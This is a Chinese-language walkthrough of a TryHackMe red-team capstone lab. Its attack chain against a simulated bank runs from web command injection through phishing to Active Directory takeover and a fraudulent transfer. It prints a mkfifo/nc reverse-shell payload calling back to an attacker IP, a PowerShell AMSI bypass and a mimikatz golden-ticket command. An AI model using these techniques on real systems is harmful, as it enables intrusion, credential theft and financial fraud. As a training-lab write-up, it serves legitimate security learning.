注意:我不会在这里提及相关的flag,只专心打;flag可以自己用各个hostname尝试一遍
这个房间被评为坚硬,但因为它是你前面的一座山,它可能被评为疯狂。但是,当您将其分解为必须实现的妥协的各个阶段时,这些阶段中没有一个实际上很难;他们只需要关注细节并合理地应用您应该通过红队学习途径学到的知识。正常的红队交战持续数周,有时甚至数月。在应对挑战时考虑到这一点。
创建此网络是为了模拟您在红队期间通常会在真实客户参与中发现的内容。此挑战中的任何攻击路径都不是作为虚构的 CTF 创建的。相反,您会发现我在交战中亲自看到的错误配置和漏洞。但是,您还将面临我不得不面对的真正挑战,某些工具或技术根本无法开箱即用,或者必须使用独创性来使某些东西以您想要的方式运行。同样,在实际参与中,答案永远不会拿起电话告诉客户“我不能妥协这个主机,因为我使用的工具显示 XYZ 错误”。这根本不会削减它。答案是启动调试过程,尝试了解不同之处,并利用这些知识进行调整,以便仍然能够执行攻击。
当你攀登这座山时,我的一些建议 - 首先,确保正确阅读所提供的信息。此信息旨在帮助您避免将其作为 CTF 进行尝试,这可能会导致挫败感。其次,这一挑战在每个阶段都有多重妥协。如果您坚持尝试使特定攻击起作用,我的建议是执行其他枚举以尝试发现其他攻击路径。找到你自己的黄金路径来完成一次挑战,然后返回并尝试征服其他攻击路径。
网络安全咨询公司TryHackMe已与Trimento政府接洽,要求对他们的储备银行(TheReserve)进行红队交战。 Trimento是一个位于太平洋的岛国。虽然它们的规模可能很小,但由于外国投资,它们绝不是不富裕的。他们的储备银行有两个主要部门:
logo:
Trimento政府表示,评估将涵盖整个储备银行,包括其周边和内部网络。他们担心,企业分工在促进经济的同时,由于隔离不足,可能会危及核心银行体系。这种红队参与的结果将决定是否应该将公司部门分拆成自己的公司。
此评估的目的是评估公司部门是否可以受到损害,如果是,则确定它是否会损害银行部门。必须执行模拟的欺诈性汇款以充分证明妥协。
为了安全地执行此操作,TheReserve将为您创建两个新的核心银行账户。您需要证明可以在这两个帐户之间转移资金。唯一可行的方法是访问核心后端银行系统SWIFT。
注意:SWIFT(全球银行间金融电信协会)是银行用于后端转账的实际系统。在此评估中,已创建一个核心后端系统。但是,出于安全原因,在此过程中引入了故意的不准确之处。如果您想了解有关实际 SWIFT 及其安全性的更多信息,请随时进行一些研究!换句话说,这里下面的信息是编造的。
为了帮助您了解项目目标,Trimento政府分享了一些有关SWIFT后端系统的信息。SWIFT 在访问受限的隔离安全环境中运行。虽然不应轻易使用不可能这个词,但实际托管基础架构受损的可能性非常小,可以公平地说,不可能破坏此基础架构。
但是,SWIFT 后端在 http://swift.bank.thereserve.loc/ 处公开了一个内部 Web 应用程序,TheReserve 使用它来促进传输。政府提供了转移的一般程序。要转移资金:
本节详细介绍了项目范围。
在开始之前,请确保您了解以下几点。如果有任何不清楚的地方,请重新阅读此任务。
网络拓扑更新
进入80端口是TheReserve银行的主页
从title中得知,这是October CMS,版本号未知
从该网站上我们可以获得有关银行团队的信息
这里的名字不完整,在这些人员照片的目录下,我们可以获得更多、更完整的
以此推测用户的邮箱是[email protected]
上gobuster
searchsploit存在一些漏洞, 但似乎暂无法利用
开了不少端口
80端口是iis,但似乎没有任何东西
它是邮件服务器,所以开了110端口,但我们目前暂时没有任何有效凭据,尝试smb爆破太过缓慢,不考虑
扫一下12的服务器
80端口是一个登录页面
这里可以尝试使用刚刚获得的用户名进行爆破
我们已经得知了密码策略,可以用john自定义规则生成一些密码
尝试hydra爆破,失败
gobuster扫
获得一个open文件
将其下载,将服务器ip改成当前的open服务器
直接连接,注意:可能会一直刷重连,不过似乎不影响
经过多次主机存活扫描,里面除了服务器和自己,一台机器都没有
后来查看油管大佬的视频后发现站点竟是使用邮箱登录的
登录进去
这里可以请求o文件,我通过filename参数的意思,我从sql注入联想到命令注入,有后缀,并且无回显
使用反引号,尝试nc拼一把运气回连攻击机,竟然成功
直接老方法getshell
?filename=`mkfifo+/tmp/f1%3bnc+10.50.116.23+443+<+/tmp/f1+|+/bin/bash+>+/tmp/f1`
查看sudo -l
很简单的提取方法,直接覆盖passwd
先加固shell
编辑ssh配置文件,允许密码登录
创建一个ssh账户,并将自己加入sudo组,方便后续行动
1q2w3e4r!@#$
usermod -a -G sudo hackerMM
到e-citizen注册电子邮箱
如您所见,我们已经购买了一个用于域名抢注的域名,用于钓鱼。
发现网络邮件服务器后,您可以使用这些详细信息来验证并从您的邮箱中恢复其他项目信息。
一旦您执行了破坏网络的操作,请向 e-Citizen 进行身份验证,以便向政府提供更新。 如果您的更新足够,您将获得一面旗帜以指示进度。
我不会在这里提及如何设置gophish,因为THM已经教过,只记录必要的
在这里为了令我们的钓鱼网站更加真实,我选择套用他们银行登录页面
勾选捕获密码
将钓鱼邮件模板和钓鱼页面设置好后,添加目标邮箱,我们已经获得目标团队的username,并且邮箱也可以猜测出来
添加活动
查看邮箱发现部分人回复只处理内部事情,不处理外部事宜
但其中一封邮件给我们指向了另一个方向:
再会,
谢谢您的来信。 但是,它似乎与我的业务部门无关。 请将您的问题提交给正确的 BU。
问候,
艾米莉·哈维
我猜测它会处理我们的信件,但前提是邮件内容她会感兴趣
我们在此回到银行的网站上,发现她和第一位女士会处理外部发来的信件
我想我们需要进行鱼叉式网络钓鱼,专门针对她两开展
我尝试通过chatgpt生成有关话题的邮件模板
但很遗憾,这个邮件发过去后,经理并没有回复我们,也没有点击链接,暗羽喵大佬建议尝试VBA宏
我尝试了msf生成VBA payload,依然没有回复邮件,猜测是因为被防火墙拦截了。
尝试lnk劫持,利用mslink
发送邮件
开启smbserver,成功访问了过来
这里证明我们的VBA应该也成功了,但是没连接过来,目前我们可以确认
我尝试直接用msf生成反向shell payload,但没连接过来,应该是有WinDefender
尝试直接ntlm中继
失败
尝试上次利用THM教导的免杀知识自己做的简单免杀,成功getshell
登录.250主机的ssh,获取flag1
由于shellcode是msf生成的,运行时执行命令依然会被杀,这里可以直接生成一个新进程规避WinDefender的内存检测,直接powershell或cmd
这样就不会再在运行时被检测到了
由于有AV的存在,我们无法随意使用WinPEAS和sharphound,这里可以使用SharpHound的powershell脚本,再去bypass AMSI
$a = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils')
$b = $a.GetField('ams'+'iInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
分段绕过
在服务器上
由于nmap扫描流量不走sshuttle隧道,这里只好传个nmap二进制可执行文件过去,在服务器上扫,收集内网主机存活
在WRK1上
绕过AMSI后发现又会被WinDefender杀掉,这里只好考虑对SharpHound做混淆
https://github.com/Flangvik/ObfuscatedSharpCollection
这个项目包含许多可执行文件的混淆版本,这里的经过混淆的sharphound能够使用
收集域信息
攻击机开启smbserver后回传数据包,等待下一步利用
上winPEAS,提取到WRK1\Administrator的密码,等待下一步利用
我们目前拥有两组凭据,以及一个WRK1/Administrator的明文密码(未知是否有效)
可以尝试常规的攻击方式
直接上impacket
直接上hashcat
只得到了svcScanning的账户密码,不过也足矣
SVCBACKUPS组允许通过登录到server1和server2,并且可以通过server的机器账户修改DC BACKUPS的GPO
有了凭据和信息,我们直接evil-winrm等server1和server2
查看whoami发现我们属于administrators组
进rdp把杀毒关了
mimikatz简单找了一波没找到啥
下来用impacket的secretsdump获得了svcBackups的明文密码
根据以往的经验,这种账户应该有权限转储ntds.dit
拿着nt hash直接登
直接向DA组添加账户
顺便把WinDefender关了
通过双向信任,接管父域
用AD-RSAT的cmdlet获取到corp子域DC的sid、EA组的sid
krbtgt在前面DCsync的时候已经获取了,直接开始做金票
mimikatz # kerberos::golden /user:Administrator /domain:corp.thereserve.loc /sid:S-1-5-21-170228521-1485475711-3199862024-1009 /service:krbtgt /rc4:0c757a3445acb94a654554f3ac529ede /sids:S-1-5-21-1255581842-1300659601-3764024703-519 /ptt
也可以用/export导出kirbi tgt文件保存到攻击机
验证tgt是否有效
这里psexec过去rootDC
由于我们当前是corp\Administrator登录过去的,所以尝试在RootDC上添加自己的账户的时候会失败
但我们有权,可以直接修改thereserve.loc\Administrator的密码
然后从corpDC登录thereserve.loc\Administrator然后通过psexec登rootDC
注意, bank子域与corp子域应该是没有信任关系的,这就意味着我们无法直接从corp子域访问到bank子域
但我们可以利用子域与父域的双向信任。我们可以先从corpDC登录到RootDC,再从RootDC访问到Bank子域
另外,我们还需要在bank子域下单独创建一个账户并赋予DA组权限
至此,我们已经掌控整个域,拥有所有域的完全控制权
JMP机器是可以直接与我们攻击机互通的,这里直接用ssh反向连接到攻击机做代理
配置浏览器代理插件
我们到.250机器上将会获得一个银行账户,用其进行登录
向指定的账户转账1000万
在检索的时候,无意发现一个py脚本,里面存在一组凭据,这就是银行转账审批者的账户
查看该用户所在的组,可以猜到这个组应该就是负责最终批钱的
顺着用户组,找到了另一个组,该组应该就是负责初步审核的
在.61机器下,有两个PA组账户在这里登录过
那么PC组也能或者说最有可能在WORK1和WORK2下活动
登录到WORK1,发现这里果然有PC组的账户登录
直接改密码
rdp登录过去
虽然Chrome里啥也没有,但是该用户的家目录下有个文件,里面记录的应该就是他的网站登录密码
用这凭据成功登录
进后台把自己的转账申请同意
退出登录,回到r.davies账户,同意转账
这是最后的检查! 如果您还没有完成所有其他标志,请不要尝试此操作。
完成后,请按照下列步骤操作:
一旦您批准了所提供的交易,请输入 Y 以验证您的访问权限。
这个跟前面的操作一致,仅仅只是多了一步PIN码确认,这里我就不再重复论述了
这里值得注意的是不要重新创建转账请求,而是对着原来1000万的那个进行PIN码确认
这个红队挑战是我在thm学习这么久打的最棒的挑战,它确实是几乎考察了红队路径7-80%的考点,其实回头看整个挑战,其实并没有什么难点,只要认认真真在THM学,根本就毫无难度,这个挑战可以作为考察自己红队路径有没有学及格,仅此而已
这次红队挑战对我来说也是第一次,完成这个挑战,对我来说也意味着我也差不多适合前往htb了,我在TryHackMe学习了截至目前173天,我从零学到现在,只有我自己知道我学了多少东西,所以这才是我真正热爱thm的原因,但我也要往更高处走了,步入大佬们的后尘,感谢TryHackMe